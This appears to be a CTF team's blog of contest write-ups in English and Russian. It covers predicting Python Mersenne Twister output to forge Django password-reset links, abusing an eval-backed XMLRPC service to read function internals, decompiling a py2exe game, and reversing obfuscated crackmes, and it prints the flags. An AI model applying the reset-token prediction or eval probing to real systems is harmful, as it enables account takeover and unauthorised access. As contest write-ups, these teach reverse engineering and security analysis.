Python service generates arbitrary amount of random numbers.
On the URL http://ctf.phdays.com:12391/admin/ we found the Django admin page.
So, we tried http://ctf.phdays.com:12391/password_reset/ and it worked:
IF test@test.com <or userX@domain.com> exists the link will be 'http://example.com/reset/0-str(hashlib.md5(str('%.16f'%random.random())).hexdigest())/'
Looks like modified password reset algo - user1@phdays.com worked ok.

As we know - Python uses modified Mersenne twister for random generation, so it's not cryptographically secure and we can predict or find some values having it's state. Every random number gives us 2 state values of 624 total. Then algo should look like:
  • Get 312 floats
  • Fetch reset link
  • Restore MT state from the floats
  • Predict reset link value
But it didn't work, and we were too tired to investigate the reason, so more stupid way was used.
def gen_rand(a,b):
    a ^= (a >> 11)
    a ^= (a << 7) & 2636928640
    a ^= (a << 15) & 4022730752
    a ^= (a >> 18)

    b ^= (b >> 11)
    b ^= (b << 7) & 2636928640
    b ^= (b << 15) & 4022730752
    b ^= (b >> 18)
    
    a = a >> 5
    b = b >> 6
    
    return ((a*67108864.0+b)*(1.0/9007199254740992.0))
Algo described in the article by PT was modified for using with map-reduce.
Final exploit looks like (thx @touzoku):
  1. We fetch 312 random numbers (known)
  2. We run password_reset for selected user (unknown)
  3. Fetch 312 more random numbers (known)
    Now we have 624 known numbers and need to find 313th unkown.
  4. Precompute _state_2_1 and _state_2_2 (according to PoC from PT)
  5. Map it to our map-reduce cluster and get candidates for a and b
  6. Run reduce and generate 256 random numbers one of which is correct
  7. Having correct number, we can reset users password and enter the admin interface to get the flag
w00t! Total computation time ~ 3 min. Exploit
We got a file called PPC300 and told to get 10000 points. File is a "Snake" video game written in Python and packet to exe using py2exe. Ofcourse you can play a game for fun and get a flag(or, oops - you can't, read ahead), but that's a good case for imporoving your Python bytecode reversing skills.
First, we extract bytecode from exe using py2exe extract.
Then try to disassemble it using dis, not so readable, but we can see the constants:
'Snake   Score:%s'    #caption template
100                   #points, incremented per eaten food
2000                  #speed tick increment
First idea was to patch a points incrementor constant and get a flag, it didn't work.
I decided to decompile bytecode to a human readable form, tried Uncompyle, then Decompyle with my patch, both didn't work, but decompilation errors were in different places.
I fixed the decompyle using some parser code pieces from Uncompyle and my patch (decompyle.patch) and got a readable source code (snake.p_).
As we can see - flag is generated from "fps" value, not from points. But the original source code has a mistake and you can't get a flag even if you get enough points: "f" is called with 1 parameter, but requires 2:
def f(fps, control):
    x = ((dumps(color) + dumps(control)) + dumps(fontsize))
    t = ''
    for i in x:
        t += hex((ord(i) ^ fps))[2:]

    return t

...
while mainloop:
...
    tickFPS = Clock.tick(fps)
    if (fps >= 101):
        pygame.display.set_caption(f(fps))
        screen.fill((0, 0, 0))
        tickFPS = Clock.tick(2000)

I made a script for flag generation and reported the mistake to authors.
from cPickle import dumps

color = (32, 32, 32)
fontsize = 35
fps = 1
control = 251

def f(fps, control):
    x = ((dumps(color) + dumps(control)) + dumps(fontsize))
    t = ''
    for i in x:
        t += hex((ord(i) ^ fps))[2:]

    return t


if __name__ == '__main__':
    while True:
        fps += 1
        control -= 1
        if (fps >= 101):
            print f(fps, control)
            break
Flag: 4d2c56576f2c56576f2c56576f1115546f4b2c5450546f4b2c56506f4b
IDA represents stack frame as a structure. So you need to convert frame offset to structure offset and call SetMemberName.

The following code snapshot demonstrates that.
# find next "mov xxx, eax" instruction
def get_next_eax_store(ea):
	temp_ea = ea
	max_steps = 10
	for step in range(0, max_steps):
		temp_ea = idc.NextHead(temp_ea) # get next instruction
		idaapi.decode_insn(temp_ea)     #decode it
		if idaapi.cmd.itype == idaapi.NN_mov and idaapi.cmd.Op2.type == idaapi.o_reg:
			return idaapi.cmd, temp_ea
			break
	return 0, temp_ea
...
cmd, addr = get_next_eax_store(ea)
if cmd != 0 and cmd.Op1.type == idaapi.o_phrase: # take only "mov [ebp-xxx],eax" instructions
	sid = idc.GetFrame(ea)
	if sid != None:
		offset = idc.GetFrameLvarSize(ea) - (~(int(cmd.Op1.addr) - 1) & 0xFFFFFFFF)
		idc.SetMemberName(sid, offset, "NewLocalName")

The salt is
offset = GetFrameLvarSize(ea) - (~(int(cmd.Op1.addr) - 1) & 0xFFFFFFFF)
The cmd.Op1.addr (from command "mov [ebp-0x14]") contains -0x14, or 0xFFFFFFEC. Minus 1, then invert converts complement code to true form, & 0xFFFFFFFF is python trick to get valid positive number. So it produces 0x14 for initial value -0x14. Then subtract it from size of local vars, and get a structure offset which can be use as SetMemberName argument.
It was real "structured programming" task. Code contains lots of function, but there no direct xrefs. Control is passed from function to function via pointers in structs.

Typical struct has the following format:
    +0: function pointer
    +4: function arguments
    ...
Each structure has a helper procedure that allow to "execute" struct, i.e. call function with specified parameters. For example,
int exec_struct6_runtime_if_2(struc_6 *pStruct)
{
    return pStruct->proc(pStruct->bWhatChar,
        pStruct->piResult,
        pStruct->chBrainfuckChar,
        pStruct->TrueProc,
        pStruct->FalseProc);
}
There was 6 different structs that are correspond to input sequence, brainfuck sequence, and control flow management.

File has simple anti-debug (ptrace) trick, and two brainfuck-like sequences (for debug and non-debug sessions). A program interprets brainfuck sequence and modifies only one memory cell: + increments it, > multiplies it by 2, < divides it by 2. Each non-control (+<>) symbol forces interpreter to check user input sequence: current symbol from user input is XOR'ed with values from memory cell. If the result is equal to 'a', then loop is continued and memory cell is cleared. Else, interpreter stops and reports error.

The following code snapshot decodes the flag:
int result = 0;
int counter = 0;

for (int i = 1; i < bf_len; i++)
{
    char c = bf[i];
    if ((c & 0x80) != 0)
        c = ~c;

    if (c == '+')
        result++;
    else if (c == '>')
        result >>= 1;
    else if (c == '<')
        result *= 2;
    else
    {
        pass[counter] = 'a' ^ result;
        result = 0;
        counter++;
    }
}
Without a debugger we get the following: ar3n't_funct10n_p01nt3rs_fun?

Under debugger output is different: d3bugg3rs_ar3_just_t00_us3ful
Obfuscated x64 binary. Very small amount of code is split into chunks that are linked together via jmp | push + jmp and "high-level" constructions like this:
mov rdx, offset InputData
push offset trim_password
mov rcx, offset _strlen
jmp @jmp_via_ecx
...
@jmp_via_ecx:
mov rdi, rdx
push ecx
jmp do_ret

@do_ret:
ret
Bring things together:
mov rdx, offset InputData
push offset trim_password ; retaddr
mov rcx, offset _strlen   ; destination
mov rdi, rdx
jmp ecx
Or, more clear
mov rdi, offset InputData
push offset trim_password ; retaddr
jmp qword ptr [_strlen]   ; destination
After de-obfuscation, code becomes more readable.

First, seed value is calculated: seed = 940903 * 659 * -3;

Then srand(seed) is called, and console is read using fgets(InputData, 80, STDIN). Each symbol from user input (InputData array) is compared with an one symbol of the Key sequence:
Rh|hx6VPJXwt7b%YUh3|ku9!Nnl#p-B*fjKUrA:r83Alg3KMjoiWA%P-8Xo5R%^:
Position is determined by rand() calling. In other words,
InputData[i] == Key[rand() % 64] ? continue : exit()
After full comparison, length of InputData is considered, and successful result is only possible if length of InputData is 64.

The following code snapshot allow to encode the flag:
char input[] = "Rh|hx6VPJXwt7b%YUh3|ku9!Nnl#p-B*fjKUrA:r83Alg3KMjoiWA%P-8Xo5R%^:";
char result[sizeof(input)];

int seed = 940903 * 659 * -3;
srand(seed);

for (int i = 0; i < sizeof(input) - 1; i++)
{
    result[i] = input[rand() % 64];
}
result[sizeof(input) - 1] = '\0';
printf("%s\n", result);
Output: Bg8Ph#xnr||l*YjV|9K#RRfh6XhnhK8*%f:h5AAUgg%t5K3%xRnR%Xh|iU#W6h3k

From the name of the task and the description we guess that it is the data from a card reader similar to the "Square".

The technical details about encoding are desribed here: http://stripesnoop.sourceforge.net/devel/phrack37.txt

In short: Magnetic stripe + Aiken Biphase encoding + ANSI BCD encoding = key

The game is very simple. 2 long strings are shown, you have to select which one is bigger. Short analysis of the strings didn't show any anomalities, so we just decided to collect all the string and remember their positions against each other. So we write an automated player. There are only 500 strings. A naive sorting approach will give us 500*499 comparisons, so we just left it as is for a couple of hours. You can definitely afford it during the 48hrs competition.
I've lost my source code!
Fortunately, I have a test program.
But, Test program is not perfect.
Please, I need your help.

Дан архив 49F69C55C47B4AA87059F3EEF391F5A7 с запакованным ASProtect исполняемым файлом и запароленным ZIP-архивом внутри. Распакуем ASProtect.

(russian version)

No, that's not about Quake. This article will be useful for young teams, who've already tried to participate in CTFs.
If you don't know what CTF (Capture The Flag) means, CTF is a competition in information security field. The goal is getting so called "flags" which score you points.

The competition is usually held in the following formats or their variations:

  • Classic: teams search for vulnerabilities in rival's infrastructure, attack them and retrieve flags, while defending their own infrastructure at the same time.
  • Jeopardy: teams solve tasks of various complexity and
    retrieve flags from them.

A competition lasts for 24-48hrs, non-stop, which requires participants to have strong skills and experience. One of the most crucial factors is the ability to share information in real-time. Thus CTF can be considered a model of a time-condensed process, implying data analysis, brainstorming, vulnerabilities search and exploitation, as well as software development.

У нас есть HTTP сервис 10.0.0.3:8080, отвечающий на запросы следующим образом:
GET / HTTP/1.0

HTTP/1.0 501 Unsupported method ('GET')
Server: BaseHTTP/0.3 Python/2.7.2+
Date: Sun, 18 Mar 2012 18:50:57 GMT
Content-Type: text/html
Connection: close

<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 501.
<p>Message: Unsupported method ('GET').
<p>Error code explanation: 501 = Server does not support this operation.
</body>
В глаза бросается Python и BaseHTTP, опыт подсказывает, что это XMLRPC сервер. Пробуем:
>>> import xmlrpclib
>>> s = xmlrpclib.ServerProxy('http://10.0.0.3:8080/')
>>> print s.system.listMethods()
['get_answer', 'get_server_var', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
отлично, вызовем get_answer.
>>> print s.get_answer()
xmlrpclib.Fault: <Fault 1: "<type 'exceptions.TypeError'>:get_answer() takes exactly 4 arguments (0 giv
en)">
а с параметрами?
>>> print s.get_answer(1,2,3,4)
xmlrpclib.Fault: <Fault 1: "<type 'exceptions.ValueError'>:Wrong parameters">
попробуем узнать, что же за параметры нам нужны:
>>> print s.system.methodHelp('get_answer')
Returns an answer if params are correct
посмотрим вторую функцию.
>>> print s.system.methodHelp('get_server_var')
Gets a var from the server
попробуем достать ENV?
>>> print s.get_server_var('ENV')
xmlrpclib.Fault: <Fault 1: "<type 'exceptions.NameError'>:name 'ENV' is not defined">
может быть ответ?
>>> print s.get_server_var('get_answer')
<function get_answer at 0x7f94aff416e0>
да ведь это eval! используя встроенные атрибуты, смотрим, что у нас есть интересного:
>>> print s.get_server_var('get_answer.func_globals')
{'__builtins__': <module '__builtin__' (built-in)>, '__file__': '/home/bay/task.py', 'xmlrpclib': <modu
le 'xmlrpclib' from '/usr/lib/python2.7/xmlrpclib.pyc'>, 'SimpleXMLRPCServer': <class SimpleXMLRPCServe
r.SimpleXMLRPCServer at 0x7f94aff376d0>, '__package__': None, 're': <module 're' from '/usr/lib/python2
.7/re.pyc'>, 'get_answer': <function get_answer at 0x7f94aff416e0>, 'get_server_var': <function get_ser
ver_var at 0x7f94aff3f9b0>, '__name__': '__main__', 'server': <SimpleXMLRPCServer.SimpleXMLRPCServer in
stance at 0x7f94b2110f38>, '__doc__': None}
>>> print s.get_server_var('get_answer.func_code.co_varnames')
('a', 'b', 'c', 'd', 'key')
>>> print s.get_server_var('get_answer.func_code.co_consts')
('Returns an answer if params are correct', 79011, 'Wrong parameters', 1702257177, 'The answer is %s')
>>> print s.get_server_var('get_answer.func_code.co_filename')
/home/bay/task.py
В константах ключа нет, вероятно он считается динамически, придется реверсить код функции get_answer
>>> import dis
>>> dis.dis(s.get_server_var('get_answer.func_code.co_code'))
дизассемблированный код функции. используя имена переменных и константы полученные ранее, восстановим ее псевдокод:
def get_answer(a, b, c, d):
    if( a + b != 79011): raise "Wrong parameters"
    if( a != b + c ): raise "Wrong parameters"
    if( c*d != 1702257177 ): raise "Wrong parameters"
    key = str(a) + str(b) + str(c) + str(d)
    return 'The answer is %s' % key
Найдем подходящие параметры.
>>> print s.get_answer(39506,39505,1,1702257177)
The answer is 395063950511702257177
Но данный ответ не корректен с точки зрения организаторов. Т.к. система уравнений имеет множество решений, попробуем поискать параметры, которые будут чем-то выделяться.
>>> def get_vals(a):
       b = 79011 - a
       c = a - b
       d = 1702257177/c
       if( c < 0 or 1702257177 % c != 0 ): return None
       return (a,b,c,d)
>>> for i in range(1,79011):
...  if( get_vals(i) != None): print i
... 
39506
39507
39515
39534
39982
40935
48559
55174
66666
>>> get_vals(66666)
(66666, 12345, 54321, 31337)
Флаг: 66666123455432131337 thanks to @snk.

Recent Comments

  • kyprizel: added. read more
  • vietwow: Hi, Could you please to share the exploit code ? read more
  • fearg0t: yea, certainly more fun, but I was wondering why an read more
  • kyprizel: For me it was fun ;) For me Uncompyle is read more
  • fearg0t: Well done :) Although it looks outdated, www.depython.net successfully (and read more
  • numatrix: Have you guys checked out rtfn? (http://sourceforge.net/projects/rtfn/) I keep meaning read more
  • Павел Збицкий: Мне показалось, этот понимает больше алгоритмов. Ну, и куча конвертеров read more
  • kyprizel: для этого ведь уже есть Ильфаковский плагин и KANAL, чем read more
  • hellman: Круто, терь понятно, что там за магия в SleepEx происходила. read more
  • kyprizel: no problem to encode your IP in shellcode :) read more

Find recent content on the main index or look in the archives to find all content.